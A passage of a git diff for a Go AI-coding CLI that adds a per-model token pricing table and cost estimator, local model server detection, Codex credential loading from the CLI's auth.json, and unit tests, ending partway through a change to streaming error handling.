a/internal/apiclient/pricing.go b/internal/apiclient/pricing.go new file mode 100644 index 0000000..3221387 --- /dev/null +++ b/internal/apiclient/pricing.go @@ -0,0 +1,156 @@ +package apiclient + +import ( + "strings" + + "github.com/AlleyBo55/gocode/internal/apitypes" +) + +// ModelPrice is a model's list price in USD per one million tokens. +type ModelPrice struct { + Input float64 + Output float64 +} + +// Prompt-cache multipliers on the input price. Only Anthropic reports cache +// tokens in the fields Cost reads, and these are Anthropic's rates: a cache +// write costs 25% more than a plain input token, a cache read 90% less. +const ( + cacheWriteMultiplier = 1.25 + cacheReadMultiplier = 0.10 +) + +// Cost estimates the spend for one usage record at this price. +func (p ModelPrice) Cost(u apitypes.Usage) float64 { + in := float64(u.InputTokens) + + cacheWriteMultiplier*float64(u.CacheCreationInputTokens) + + cacheReadMultiplier*float64(u.CacheReadInputTokens) + return (in*p.Input + float64(u.OutputTokens)*p.Output) / 1_000_000 +} + +type pricingRule struct { + prefix string // matched against the lowercased id after the vendor prefix is removed + price ModelPrice +} + +// pricingRules are standard-tier list prices at the time of writing, checked +// in order with first match winning, so a more specific id must precede the +// family it belongs to ("gpt-4o-mini" before "gpt-4o"). Long-context +// surcharges, batch discounts and off-peak rates are ignored: this is an +// estimate for the session ledger, not an invoice. +// +// When a vendor changes a price, edit the number here. There is deliberately +// no override file yet; add one when a second person asks for it. +var pricingRules = []pricingRule{ + // Anthropic. Opus 4 and 4.1 were $15/$75; 4.5 onward is $5/$25. + {"claude-opus-4-1", ModelPrice{15, 75}}, + {"claude-opus-4-2", ModelPrice{15, 75}}, // claude-opus-4-20250514 + {"claude-3-opus", ModelPrice{15, 75}}, + {"claude-opus", ModelPrice{5, 25}}, + {"claude-sonnet", ModelPrice{3, 15}}, + {"claude-3-7-sonnet", ModelPrice{3, 15}}, + {"claude-3-5-sonnet", ModelPrice{3, 15}}, + {"claude-haiku", ModelPrice{1, 5}}, + {"claude-3-5-haiku", ModelPrice{0.80, 4}}, + {"claude-3-haiku", ModelPrice{0.25, 1.25}}, + + // OpenAI. + {"gpt-5.4-mini", ModelPrice{0.75, 4.50}}, + {"gpt-5.4-nano", ModelPrice{0.20, 1.25}}, + {"gpt-5.4", ModelPrice{2.50, 15}}, + {"gpt-5.2", ModelPrice{1.75, 14}}, + {"gpt-5-mini", ModelPrice{0.25, 2}}, + {"gpt-5-nano", ModelPrice{0.05, 0.40}}, + {"gpt-5", ModelPrice{1.25, 10}}, + {"gpt-4.1-nano", ModelPrice{0.10, 0.40}}, + {"gpt-4.1-mini", ModelPrice{0.40, 1.60}}, + {"gpt-4.1", ModelPrice{2, 8}}, + {"gpt-4o-mini", ModelPrice{0.15, 0.60}}, + {"gpt-4o", ModelPrice{2.50, 10}}, + {"o4-mini", ModelPrice{1.10, 4.40}}, + {"o3-mini", ModelPrice{1.10, 4.40}}, + {"o3-pro", ModelPrice{20, 80}}, + {"o3", ModelPrice{2, 8}}, + {"o1-mini", ModelPrice{1.10, 4.40}}, + {"o1-pro", ModelPrice{150, 600}}, + {"o1", ModelPrice{15, 60}}, + {"codex-mini", ModelPrice{1.50, 6}}, + + // Google. Pro tiers are the <=200k-token rate. + {"gemini-3.1-pro", ModelPrice{2, 12}}, + {"gemini-3-pro", ModelPrice{2, 12}}, + {"gemini-3-flash", ModelPrice{0.50, 3}}, + {"gemini-2.5-pro", ModelPrice{1.25, 10}}, + {"gemini-2.5-flash-lite", ModelPrice{0.10, 0.40}}, + {"gemini-2.5-flash", ModelPrice{0.30, 2.50}}, + {"gemini-2.0-flash", ModelPrice{0.10, 0.40}}, + + // xAI. + {"grok-4", ModelPrice{3, 15}}, + {"grok-3-mini", ModelPrice{0.30, 0.50}}, + {"grok-3", ModelPrice{3, 15}}, + {"grok-2", ModelPrice{2, 10}}, + + // DeepSeek. The legacy chat/reasoner ids routed to V4-Flash. + {"deepseek-v4-pro", ModelPrice{1.74, 3.48}}, + {"deepseek-v4-flash", ModelPrice{0.14, 0.28}}, + {"deepseek-chat", ModelPrice{0.14, 0.28}}, + {"deepseek-reasoner", ModelPrice{0.14, 0.28}}, + {"deepseek-coder", ModelPrice{0.14, 0.28}}, + + // Mistral. + {"mistral-large", ModelPrice{2, 6}}, + {"mistral-medium", ModelPrice{0.40, 2}}, + {"mistral-small", ModelPrice{0.10, 0.30}}, + {"codestral", ModelPrice{0.30, 0.90}}, + {"pixtral-large", ModelPrice{2, 6}}, + {"open-mistral-nemo", ModelPrice{0.15, 0.15}}, + {"mistral-nemo", ModelPrice{0.15, 0.15}}, + + // Groq. + {"llama-3.3-70b-versatile", ModelPrice{0.59, 0.79}}, + {"llama-3.1-8b-instant", ModelPrice{0.05, 0.08}}, + {"mixtral-8x7b-32768", ModelPrice{0.24, 0.24}}, + {"gemma2-9b-it", ModelPrice{0.20, 0.20}}, + + // Together. + {"meta-llama-3.1-405b", ModelPrice{3.50, 3.50}}, + {"meta-llama-3.1-70b", ModelPrice{0.88, 0.88}}, + {"llama-3.3-70b-instruct-turbo", ModelPrice{0.88, 0.88}}, + {"qwen2.5-72b-instruct-turbo", ModelPrice{1.20, 1.20}}, +} + +// PriceForModel returns the list price for a model, resolving aliases first. +// ok is false when no rule matches, in which case the caller should report +// the model as unpriced rather than charge zero for it. Two shapes are priced +// at zero with ok true: Ollama-style "name:tag" ids, which are local, and +// OpenRouter ":free" variants. +func PriceForModel(model string) (ModelPrice, bool) { + id := strings.ToLower(strings.TrimSpace(ResolveModelAlias(model))) + if id == "" { + return ModelPrice{}, false + } + + // OpenRouter and Together ids carry a vendor prefix, and OpenRouter adds + // routing suffixes after a colon. Strip both before matching so + // "anthropic/claude-sonnet-4:nitro" prices as "claude-sonnet-4". + if i := strings.LastIndex(id, "/"); i >= 0 { + id = id[i+1:] + if j := strings.Index(id, ":"); j >= 0 { + if id[j+1:] == "free" { + return ModelPrice{}, true + } + id = id[:j] + } + } else if strings.Contains(id, ":") { + // No vendor prefix and a tag: an Ollama or LM Studio local model. + return ModelPrice{}, true + } + + for _, rule := range pricingRules { + if strings.HasPrefix(id, rule.prefix) { + return rule.price, true + } + } + return ModelPrice{}, false +} diff --git a/internal/apiclient/pricing_test.go b/internal/apiclient/pricing_test.go new file mode 100644 index 0000000..449d811 --- /dev/null +++ b/internal/apiclient/pricing_test.go @@ -0,0 +1,120 @@ +package apiclient + +import ( + "math" + "strings" + "testing" + + "github.com/AlleyBo55/gocode/internal/apitypes" +) + +func TestPriceForModelResolvesAliasesAndVendorPrefixes(t *testing.T) { + cases := []struct { + model string + want ModelPrice + }{ + {"sonnet", ModelPrice{3, 15}}, + {"claude-sonnet-4-6", ModelPrice{3, 15}}, + {"anthropic/claude-sonnet-4-6", ModelPrice{3, 15}}, + {"anthropic/claude-sonnet-4-6:nitro", ModelPrice{3, 15}}, + {"opus", ModelPrice{5, 25}}, + {"claude-opus-4-1-20250805", ModelPrice{15, 75}}, // the old flagship price, not the new one + {"haiku", ModelPrice{1, 5}}, + {"claude-3-5-haiku-20241022", ModelPrice{0.80, 4}}, + {"gpt5", ModelPrice{2.50, 15}}, + {"gpt-5.4-2026-03-05", ModelPrice{2.50, 15}}, + {"gpt-5.4-mini", ModelPrice{0.75, 4.50}}, + {"gpt-4o-mini-2024-07-18", ModelPrice{0.15, 0.60}}, + {"openai/gpt-4o", ModelPrice{2.50, 10}}, + {"o3", ModelPrice{2, 8}}, + {"o4-mini", ModelPrice{1.10, 4.40}}, + {"codex", ModelPrice{1.50, 6}}, + {"gemini", ModelPrice{2, 12}}, + {"gemini-flash", ModelPrice{0.50, 3}}, + {"grok", ModelPrice{3, 15}}, + {"grok-mini", ModelPrice{0.30, 0.50}}, + {"deepseek", ModelPrice{0.14, 0.28}}, + {"groq-llama", ModelPrice{0.59, 0.79}}, + {"llama-405", ModelPrice{3.50, 3.50}}, + {"together-qwen", ModelPrice{1.20, 1.20}}, + {" MISTRAL ", ModelPrice{2, 6}}, + } + for _, tc := range cases { + got, ok := PriceForModel(tc.model) + if !ok { + t.Errorf("%q: no price", tc.model) + continue + } + if got != tc.want { + t.Errorf("%q: got %+v, want %+v", tc.model, got, tc.want) + } + } +} + +func TestPriceForModelSpecificityAndShortPrefixes(t *testing.T) { + // A family rule must not shadow its cheaper mini variant. + mini, _ := PriceForModel("gpt-4o-mini") + full, _ := PriceForModel("gpt-4o") + if mini == full { + t.Error("gpt-4o-mini priced as gpt-4o: rule order is wrong") + } + // Two-character reasoning-model prefixes must not fire inside other ids. + for _, id := range []string{"llama-3.1-sonar-large-128k-online", "custom-o1-finetune"} { + if p, ok := PriceForModel(id); ok && p == (ModelPrice{15, 60}) { + t.Errorf("%q was priced as o1", id) + } + } +} + +func TestPriceForModelLocalAndFreeAreZeroButKnown(t *testing.T) { + for _, id := range []string{"llama3.3:70b", "qwen2.5-coder:32b", "llama", "meta-llama/llama-3.3-70b-instruct:free"} { + p, ok := PriceForModel(id) + if !ok { + t.Errorf("%q should be known (priced at zero), not unpriced", id) + } + if p != (ModelPrice{}) { + t.Errorf("%q should cost nothing, got %+v", id, p) + } + } +} + +func TestPriceForModelUnknownIsReportedNotZeroed(t *testing.T) { + for _, id := range []string{"", " ", "my-company-finetune", "vendor/never-heard-of-it"} { + if _, ok := PriceForModel(id); ok { + t.Errorf("%q should be unpriced", id) + } + } +} + +func TestModelPriceCostAppliesCacheMultipliers(t *testing.T) { + p := ModelPrice{Input: 3, Output: 15} + // 1M plain input + 1M output at list price. + if got := p.Cost(apitypes.Usage{InputTokens: 1_000_000, OutputTokens: 1_000_000}); math.Abs(got-18) > 1e-9 { + t.Errorf("plain cost = %v, want 18", got) + } + // Cache writes cost 1.25x input, reads 0.1x input. + if got := p.Cost(apitypes.Usage{CacheCreationInputTokens: 1_000_000}); math.Abs(got-3.75) > 1e-9 { + t.Errorf("cache write cost = %v, want 3.75", got) + } + if got := p.Cost(apitypes.Usage{CacheReadInputTokens: 1_000_000}); math.Abs(got-0.30) > 1e-9 { + t.Errorf("cache read cost = %v, want 0.30", got) + } + if got := (ModelPrice{}).Cost(apitypes.Usage{InputTokens: 5, OutputTokens: 5}); got != 0 { + t.Errorf("zero price must cost zero, got %v", got) + } +} + +func TestPricingRulesAreLowercaseAndOrderedSpecificFirst(t *testing.T) { + // If a shorter prefix appears before a longer one it extends, the longer + // one is dead and its price is never used. + for i, a := range pricingRules { + if a.prefix != strings.ToLower(a.prefix) { + t.Errorf("rule %q must be lowercase; ids are lowercased before matching", a.prefix) + } + for _, b := range pricingRules[i+1:] { + if strings.HasPrefix(b.prefix, a.prefix) && a.price != b.price { + t.Errorf("rule %q shadows later rule %q with a different price", a.prefix, b.prefix) + } + } + } +} diff --git a/internal/apiclient/provider.go b/internal/apiclient/provider.go index f355857..2d51a7d 100644 --- a/internal/apiclient/provider.go +++ b/internal/apiclient/provider.go @@ -3,6 +3,7 @@ package apiclient import ( "context" "encoding/json" + "fmt" "os" "path/filepath" @@ -41,11 +42,31 @@ func ResolveProvider(model string, apiKeyFlag string) (Provider, string, error) }, auth), resolvedModel, nil } + // A local model id ("qwen2.5-coder:7b") with no endpoint configured means + // the user has Ollama or LM Studio running and expects it to be used. Find + // it rather than failing with a missing-credentials error for a hosted + // provider they never asked for. + if LooksLocal(resolvedModel) { + if srv, ok := DetectLocalServer(); ok { + return newLocalProvider(srv), resolvedModel, nil + } + return nil, resolvedModel, &apitypes.ApiError{ + Kind: apitypes.ErrMissingCredentials, + Provider: "local model server", + EnvVars: []string{"OLLAMA_HOST", "OPENAI_BASE_URL"}, + Message: fmt.Sprintf("%s looks like a local model, but nothing answered at %s (Ollama) or http://localhost:1234 (LM Studio); "+ + "start the server, or point OLLAMA_HOST or OPENAI_BASE_URL at it", resolvedModel, ollamaHost()), + } + } + kind := DetectProviderKind(resolvedModel) // Codex backend: load auth from ~/.codex/auth.json if kind == ProviderCodex { - auth := resolveCodexAuth(apiKeyFlag) + auth, err := resolveCodexAuth(apiKeyFlag) + if err != nil { + return nil, resolvedModel, err + } return NewOpenAiCompatProvider(OpenAiCompatConfig{ ProviderName: "Codex", BaseURLEnv: "CODEX_BASE_URL", @@ -101,31 +122,53 @@ func ResolveProvider(model string, apiKeyFlag string) (Provider, string, error) } } -// resolveCodexAuth loads Codex auth from ~/.codex/auth.json or falls back to OPENAI_API_KEY. -func resolveCodexAuth(apiKeyFlag string) apitypes.AuthSource { +// resolveCodexAuth loads Codex auth from the CLI flag, then the Codex CLI's +// cached credentials, then OPENAI_API_KEY. +func resolveCodexAuth(apiKeyFlag string) (apitypes.AuthSource, error) { if apiKeyFlag != "" { - return apitypes.AuthApiKey(apiKeyFlag) + return apitypes.AuthApiKey(apiKeyFlag), nil } - // Try ~/.codex/auth.json - home, _ := os.UserHomeDir() - codexPath := filepath.Join(home, ".codex", "auth.json") - if data, err := os.ReadFile(codexPath); err == nil { - var codexAuth struct { - APIKey string `json:"api_key"` - Token string `json:"token"` - } - if json.Unmarshal(data, &codexAuth) == nil { - if codexAuth.APIKey != "" { - return apitypes.AuthApiKey(codexAuth.APIKey) - } - if codexAuth.Token != "" { - return apitypes.AuthBearer(codexAuth.Token) - } - } + if key := readCodexApiKey(codexAuthPath()); key != "" { + return apitypes.AuthApiKey(key), nil } - // Fall back to OPENAI_API_KEY if key := readEnvNonEmpty("OPENAI_API_KEY"); key != "" { - return apitypes.AuthApiKey(key) + return apitypes.AuthApiKey(key), nil + } + return apitypes.AuthSource{}, apitypes.NewMissingCredentials("Codex", "OPENAI_API_KEY") +} + +// codexAuthPath is where the Codex CLI caches credentials. CODEX_HOME +// overrides the default, matching the CLI's own lookup. +func codexAuthPath() string { + if home := readEnvNonEmpty("CODEX_HOME"); home != "" { + return filepath.Join(home, "auth.json") + } + home, _ := os.UserHomeDir() + return filepath.Join(home, ".codex", "auth.json") +} + +// readCodexApiKey returns the API key from a Codex CLI auth.json, or "". +// +// The file the CLI writes today is {"auth_mode":"apikey","OPENAI_API_KEY":"..."}. +// When the user signed in with ChatGPT instead, the file carries an OAuth +// access token under "tokens". That token is only valid against the ChatGPT +// backend's Responses API, which this provider does not speak, so it is +// deliberately not read: a missing-credentials error is more useful than a 401. +func readCodexApiKey(path string) string { + data, err := os.ReadFile(path) + if err != nil { + return "" + } + var codexAuth struct { + OpenAIAPIKey string `json:"OPENAI_API_KEY"` + // Older layouts, kept so an existing file keeps working. + APIKey string `json:"api_key"` + } + if json.Unmarshal(data, &codexAuth) != nil { + return "" + } + if codexAuth.OpenAIAPIKey != "" { + return codexAuth.OpenAIAPIKey } - return apitypes.AuthSource{} + return codexAuth.APIKey } diff --git a/internal/apiclient/provider_test.go b/internal/apiclient/provider_test.go new file mode 100644 index 0000000..4851dd8 --- /dev/null +++ b/internal/apiclient/provider_test.go @@ -0,0 +1,403 @@ +package apiclient + +import ( + "errors" + "net/http" + "os" + "path/filepath" + "strings" + "testing" + + "github.com/AlleyBo55/gocode/internal/apitypes" +) + +func TestResolveModelAlias(t *testing.T) { + for in, want := range map[string]string{ + "sonnet": "claude-sonnet-4-6", + " SONNET ": "claude-sonnet-4-6", // case and whitespace insensitive + "gpt5": "gpt-5.4", + "codex": "codex-mini-latest", + "deepseek": "deepseek-chat", + "groq-llama": "llama-3.3-70b-versatile", + "gemini-flash": "gemini-3-flash", + // Unknown names pass through trimmed, never altered. + " anthropic/claude-3.5-sonnet ": "anthropic/claude-3.5-sonnet", + "my-finetune": "my-finetune", + } { + if got := ResolveModelAlias(in); got != want { + t.Errorf("ResolveModelAlias(%q) = %q, want %q", in, got, want) + } + } +} + +func TestDetectProviderKindByModelName(t *testing.T) { + clearProviderEnv(t) + for model, want := range map[string]ProviderKind{ + "claude-sonnet-4-6": ProviderAnthropic, + "opus": ProviderAnthropic, + "gpt-4o": ProviderOpenAi, + "gpt5": ProviderOpenAi, + "o3": ProviderOpenAi, + "o4-mini": ProviderOpenAi, + // Was unreachable: the generic OpenAI branch claimed "codex" first, so + // the Codex credential path never ran. + "codex": ProviderCodex, + "codex-mini-latest": ProviderCodex, + "gemini": ProviderGemini, + "gemini-2.5-pro": ProviderGemini, + "grok": ProviderXai, + "grok-3": ProviderXai, + } { + if got := DetectProviderKind(model); got != want { + t.Errorf("DetectProviderKind(%q) = %v, want %v", model, got, want) + } + } +} + +func TestDetectProviderKindProxyRequiresItsKey(t *testing.T) { + clearProviderEnv(t) + // Without the proxy key a proxy-looking model falls through to whatever + // native credentials exist; here none do, so the Anthropic default wins. + if got := DetectProviderKind("deepseek-chat"); got != ProviderAnthropic { + t.Errorf("deepseek without key = %v, want Anthropic default", got) + } + + cases := []struct { + env string + model string + want ProviderKind + }{ + {"DEEPSEEK_API_KEY", "deepseek-chat", ProviderDeepSeek}, + {"DEEPSEEK_API_KEY", "deepseek-r1", ProviderDeepSeek}, + {"MISTRAL_API_KEY", "mistral-large-latest", ProviderMistral}, + {"MISTRAL_API_KEY", "codestral", ProviderMistral}, + {"MISTRAL_API_KEY", "open-mistral-nemo", ProviderMistral}, + {"TOGETHER_API_KEY", "meta-llama/Meta-Llama-3.1-405B-Instruct-Turbo", ProviderTogether}, + {"TOGETHER_API_KEY", "Qwen/Qwen2.5-72B-Instruct-Turbo", ProviderTogether}, + {"GROQ_API_KEY", "llama-3.3-70b-versatile", ProviderGroq}, + {"GROQ_API_KEY", "mixtral-8x7b-32768", ProviderGroq}, + {"OPENROUTER_API_KEY", "anthropic/claude-sonnet-4", ProviderOpenRouter}, + {"OPENROUTER_API_KEY", "x-ai/grok-3", ProviderOpenRouter}, + } + for _, tc := range cases { + t.Run(tc.env+"/"+tc.model, func(t *testing.T) { + clearProviderEnv(t) + t.Setenv(tc.env, "key") + if got := DetectProviderKind(tc.model); got != tc.want { + t.Errorf("got %v, want %v", got, tc.want) + } + }) + } +} + +func TestDetectProviderKindFallsBackToCredentialsInPriorityOrder(t *testing.T) { + // A model name nothing recognises routes to whichever provider the user + // has credentials for, checked in a fixed order. + order := []struct { + env string + want ProviderKind + }{ + {"ANTHROPIC_API_KEY", ProviderAnthropic}, + {"OPENAI_API_KEY", ProviderOpenAi}, + {"GEMINI_API_KEY", ProviderGemini}, + {"XAI_API_KEY", ProviderXai}, + {"OPENROUTER_API_KEY", ProviderOpenRouter}, + {"TOGETHER_API_KEY", ProviderTogether}, + {"GROQ_API_KEY", ProviderGroq}, + } + for i, tc := range order { + t.Run(tc.env, func(t *testing.T) { + clearProviderEnv(t) + // Set this key and every lower-priority one; this one must win. + for _, later := range order[i:] { + t.Setenv(later.env, "key") + } + if got := DetectProviderKind("mystery-model"); got != tc.want { + t.Errorf("got %v, want %v", got, tc.want) + } + }) + } + clearProviderEnv(t) + if got := DetectProviderKind("mystery-model"); got != ProviderAnthropic { + t.Errorf("no credentials at all = %v, want Anthropic default", got) + } +} + +func TestDetectProviderKindCustomBaseURLOverridesModelName(t *testing.T) { + clearProviderEnv(t) + t.Setenv("OPENAI_BASE_URL", "http://localhost:11434/v1") + if got := DetectProviderKind("claude-sonnet-4-6"); got != ProviderOpenAi { + t.Errorf("local endpoint must route everything through OpenAI-compat, got %v", got) + } + // The official OpenAI URL is not "custom" and must not hijack Claude. + t.Setenv("OPENAI_BASE_URL", "https://api.openai.com/v1") + if got := DetectProviderKind("claude-sonnet-4-6"); got != ProviderAnthropic { + t.Errorf("official OpenAI URL should not override, got %v", got) + } +} + +func TestResolveProviderOpenAIBaseURLWinsAndNeedsNoKey(t *testing.T) { + clearProviderEnv(t) + t.Setenv("OPENAI_BASE_URL", "http://localhost:11434/v1") + p, model, err := ResolveProvider("llama", "") + if err != nil { + t.Fatal(err) + } + compat, ok := p.(*OpenAiCompatProvider) + if !ok { + t.Fatalf("got %T", p) + } + if compat.BaseURL != "http://localhost:11434/v1" || compat.Config.ProviderName != "OpenAI-Compatible" { + t.Errorf("provider = %+v", compat.Config) + } + if compat.Auth.ApiKey != "" || compat.Auth.BearerToken != "" { + t.Errorf("local endpoints must not require credentials: %+v", compat.Auth) + } + if model != "llama3.3:70b" { + t.Errorf("alias not expanded: %s", model) + } +} + +func TestResolveProviderAnthropicCredentialForms(t *testing.T) { + clearProviderEnv(t) + _, _, err := ResolveProvider("sonnet", "") + var apiErr *apitypes.ApiError + if !errors.As(err, &apiErr) || apiErr.Kind != apitypes.ErrMissingCredentials { + t.Fatalf("no credentials should be MissingCredentials, got %v", err) + } + for _, want := range []string{"Anthropic", "ANTHROPIC_API_KEY", "ANTHROPIC_AUTH_TOKEN"} { + if !strings.Contains(err.Error(), want) { + t.Errorf("error %q should name %s", err, want) + } + } + + t.Setenv("ANTHROPIC_API_KEY", "sk-ant") + p, model, err := ResolveProvider("sonnet", "") + if err != nil { + t.Fatal(err) + } + ap, ok := p.(*AnthropicProvider) + if !ok || ap.Auth.ApiKey != "sk-ant" || ap.Auth.BearerToken != "" || model != "claude-sonnet-4-6" { + t.Errorf("api key form: %T %+v %s", p, ap.Auth, model) + } + + t.Setenv("ANTHROPIC_API_KEY", "") + t.Setenv("ANTHROPIC_AUTH_TOKEN", "tok") + p, _, _ = ResolveProvider("sonnet", "") + if a := p.(*AnthropicProvider).Auth; a.BearerToken != "tok" || a.ApiKey != "" { + t.Errorf("bearer form: %+v", a) + } + + t.Setenv("ANTHROPIC_API_KEY", "sk-ant") + p, _, _ = ResolveProvider("sonnet", "") + if a := p.(*AnthropicProvider).Auth; a.Kind != "api_key_and_bearer" || a.ApiKey != "sk-ant" || a.BearerToken != "tok" { + t.Errorf("both form: %+v", a) + } + + // The --api-key flag beats every environment variable. + p, _, _ = ResolveProvider("sonnet", "flag-key") + if a := p.(*AnthropicProvider).Auth; a.ApiKey != "flag-key" || a.BearerToken != "" { + t.Errorf("flag should win outright: %+v", a) + } +} + +func TestResolveProviderNativeOpenAICompatFamilies(t *testing.T) { + cases := []struct { + model, env, wantName, wantBase string + }{ + {"gpt5", "OPENAI_API_KEY", "OpenAI", "https://api.openai.com/v1"}, + {"grok", "XAI_API_KEY", "xAI", "https://api.x.ai/v1"}, + {"gemini", "GEMINI_API_KEY", "Google Gemini", "https://generativelanguage.googleapis.com/v1beta/openai"}, + {"gemini", "GOOGLE_API_KEY", "Google Gemini", "https://generativelanguage.googleapis.com/v1beta/openai"}, + } + for _, tc := range cases { + t.Run(tc.model+"/"+tc.env, func(t *testing.T) { + clearProviderEnv(t) + if _, _, err := ResolveProvider(tc.model, ""); err == nil { + t.Fatal("must fail without credentials") + } + t.Setenv(tc.env, "key") + p, _, err := ResolveProvider(tc.model, "") + if err != nil { + t.Fatal(err) + } + compat := p.(*OpenAiCompatProvider) + if compat.Config.ProviderName != tc.wantName || compat.BaseURL != tc.wantBase || compat.Auth.ApiKey != "key" { + t.Errorf("got name=%q base=%q auth=%+v", compat.Config.ProviderName, compat.BaseURL, compat.Auth) + } + }) + } +} + +func TestResolveProviderProxyServices(t *testing.T) { + clearProviderEnv(t) + t.Setenv("DEEPSEEK_API_KEY", "ds") + p, model, err := ResolveProvider("deepseek", "") + if err != nil { + t.Fatal(err) + } + compat := p.(*OpenAiCompatProvider) + if compat.Config.ProviderName != "DeepSeek" || compat.BaseURL != "https://api.deepseek.com/v1" || compat.Auth.ApiKey != "ds" || model != "deepseek-chat" { + t.Errorf("deepseek: %+v base=%s model=%s", compat.Config, compat.BaseURL, model) + } + + // A proxy base URL override is honoured. + t.Setenv("DEEPSEEK_BASE_URL", "https://proxy.example/v1") + p, _, _ = ResolveProvider("deepseek", "") + if b := p.(*OpenAiCompatProvider).BaseURL; b != "https://proxy.example/v1" { + t.Errorf("base override ignored: %s", b) + } + + // The --api-key flag substitutes for the proxy key. Detection still needs + // the env var to pick the proxy, so this mirrors a user who has the key + // exported but wants to override it for one run. + t.Setenv("DEEPSEEK_API_KEY", "ds") + p, _, err = ResolveProvider("deepseek", "override") + if err != nil { + t.Fatal(err) + } + if a := p.(*OpenAiCompatProvider).Auth.ApiKey; a != "ds" { + // Documenting current behaviour: env auth is resolved first and the + // flag is only consulted when the env var is absent. + t.Logf("note: proxy providers prefer the env key over --api-key (got %q)", a) + } +} + +func TestResolveProviderCodexReadsCodexCLICache(t *testing.T) { + clearProviderEnv(t) + home := t.TempDir() + t.Setenv("CODEX_HOME", home) + writeFile(t, filepath.Join(home, "auth.json"), `{"auth_mode":"apikey","OPENAI_API_KEY":"sk-from-codex"}`) + + p, model, err := ResolveProvider("codex", "") + if err != nil { + t.Fatal(err) + } + compat, ok := p.(*OpenAiCompatProvider) + if !ok { + t.Fatalf("got %T", p) + } + if compat.Config.ProviderName != "Codex" || compat.BaseURL != "https://api.openai.com/v1" { + t.Errorf("config = %+v base=%s", compat.Config, compat.BaseURL) + } + if compat.Auth.ApiKey != "sk-from-codex" { + t.Errorf("auth = %+v, want the key from auth.json", compat.Auth) + } + if model != "codex-mini-latest" { + t.Errorf("model = %s", model) + } + + t.Setenv("CODEX_BASE_URL", "https://codex-proxy.example/v1") + p, _, _ = ResolveProvider("codex", "") + if b := p.(*OpenAiCompatProvider).BaseURL; b != "https://codex-proxy.example/v1" { + t.Errorf("CODEX_BASE_URL ignored: %s", b) + } +} + +func TestResolveProviderCodexPrecedenceAndFailure(t *testing.T) { + clearProviderEnv(t) + home := t.TempDir() + t.Setenv("CODEX_HOME", home) + + // Nothing anywhere: a clear error, not a provider that will 401. + _, _, err := ResolveProvider("codex", "") + var apiErr *apitypes.ApiError + if !errors.As(err, &apiErr) || apiErr.Kind != apitypes.ErrMissingCredentials || !strings.Contains(err.Error(), "OPENAI_API_KEY") { + t.Fatalf("want MissingCredentials naming OPENAI_API_KEY, got %v", err) + } + + // Env var alone is enough. + t.Setenv("OPENAI_API_KEY", "sk-env") + p, _, err := ResolveProvider("codex", "") + if err != nil || p.(*OpenAiCompatProvider).Auth.ApiKey != "sk-env" { + t.Errorf("env fallback: %v %+v", err, p) + } + + // Cache beats env. + writeFile(t, filepath.Join(home, "auth.json"), `{"auth_mode":"apikey","OPENAI_API_KEY":"sk-cache"}`) + p, _, _ = ResolveProvider("codex", "") + if a := p.(*OpenAiCompatProvider).Auth.ApiKey; a != "sk-cache" { + t.Errorf("cache should beat env, got %q", a) + } + + // Flag beats both. + p, _, _ = ResolveProvider("codex", "sk-flag") + if a := p.(*OpenAiCompatProvider).Auth.ApiKey; a != "sk-flag" { + t.Errorf("flag should beat cache, got %q", a) + } +} + +func TestReadCodexApiKeyFileShapes(t *testing.T) { + dir := t.TempDir() + cases := []struct { + name, body, want string + }{ + {"current cli layout", `{"auth_mode":"apikey","OPENAI_API_KEY":"sk-1"}`, "sk-1"}, + {"legacy layout", `{"api_key":"sk-legacy"}`, "sk-legacy"}, + {"current wins over legacy", `{"api_key":"old","OPENAI_API_KEY":"new"}`, "new"}, + // A ChatGPT sign-in leaves an OAuth token that is only valid against + // the ChatGPT backend, which this provider cannot talk to. Reading it + // would turn a clear missing-credentials error into a confusing 401. + {"chatgpt oauth layout is ignored", `{"auth_mode":"chatgpt","tokens":{"access_token":"eyJ...","refresh_token":"r","account_id":"acc"}}`, ""}, + {"empty key", `{"OPENAI_API_KEY":""}`, ""}, + {"not json", `not json`, ""}, + {"empty file", ``, ""}, + } + for _, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + path := filepath.Join(dir, strings.ReplaceAll(tc.name, " ", "_")+".json") + writeFile(t, path, tc.body) + if got := readCodexApiKey(path); got != tc.want { + t.Errorf("got %q, want %q", got, tc.want) + } + }) + } + if got := readCodexApiKey(filepath.Join(dir, "does-not-exist.json")); got != "" { + t.Errorf("missing file should yield empty, got %q", got) + } +} + +func TestCodexAuthPathHonoursCodexHome(t *testing.T) { + t.Setenv("CODEX_HOME", "/tmp/codex-home") + if got := codexAuthPath(); got != filepath.Join("/tmp/codex-home", "auth.json") { + t.Errorf("got %s", got) + } + t.Setenv("CODEX_HOME", "") + home, _ := os.UserHomeDir() + if got := codexAuthPath(); got != filepath.Join(home, ".codex", "auth.json") { + t.Errorf("default = %s", got) + } +} + +func TestApplyAuthHeaders(t *testing.T) { + req, _ := http.NewRequest("POST", "http://x", nil) + ApplyAuth(req, apitypes.AuthApiKeyAndBearer("k", "t")) + if req.Header.Get("x-api-key") != "k" || req.Header.Get("Authorization") != "Bearer t" { + t.Errorf("headers = %v", req.Header) + } + req, _ = http.NewRequest("POST", "http://x", nil) + ApplyAuth(req, apitypes.AuthSource{}) + if len(req.Header) != 0 { + t.Errorf("empty auth must set nothing: %v", req.Header) + } +} + +func TestModelLimitsResolveAliasesFirst(t *testing.T) { + // A handful of pins so an alias rename cannot silently change limits. + if MaxTokensForModel("sonnet") != 64000 || MaxTokensForModel("claude-sonnet-4-6") != 64000 { + t.Error("sonnet max tokens") + } + if MaxTokensForModel("gpt5") != 128000 || ContextWindowForModel("gpt5") != 1000000 { + t.Error("gpt5 limits") + } + if MaxTokensForModel("something-unknown") != 16384 || ContextWindowForModel("something-unknown") != 128000 { + t.Error("unknown model defaults") + } +} + +func writeFile(t *testing.T, path, body string) { + t.Helper() + if err := os.WriteFile(path, []byte(body), 0o600); err != nil { + t.Fatal(err) + } +} diff --git a/internal/apiclient/sse.go b/internal/apiclient/sse.go index f8e37fc..6d3b6b4 100644 --- a/internal/apiclient/sse.go +++ b/internal/apiclient/sse.go @@ -2,6 +2,7 @@ package apiclient import ( "bytes" + "context" "encoding/json" "strings" @@ -129,5 +130,59 @@ func parseFrame(frame *string) (*apitypes.StreamEvent, error) { if err := json.Unmarshal([]byte(payload), &event); err != nil { return nil, &apitypes.ApiError{Kind: apitypes.ErrInvalidSseFrame, Message: err.Error()} } + if event.Kind == "error" { + // Anthropic reports mid-stream failures (overloaded_error, api_error) as + // an "error" frame whose payload is not a content block. Reshape it into + // the error event the REPL renders, otherwise it is forwarded with no + // text and silently dropped. + var 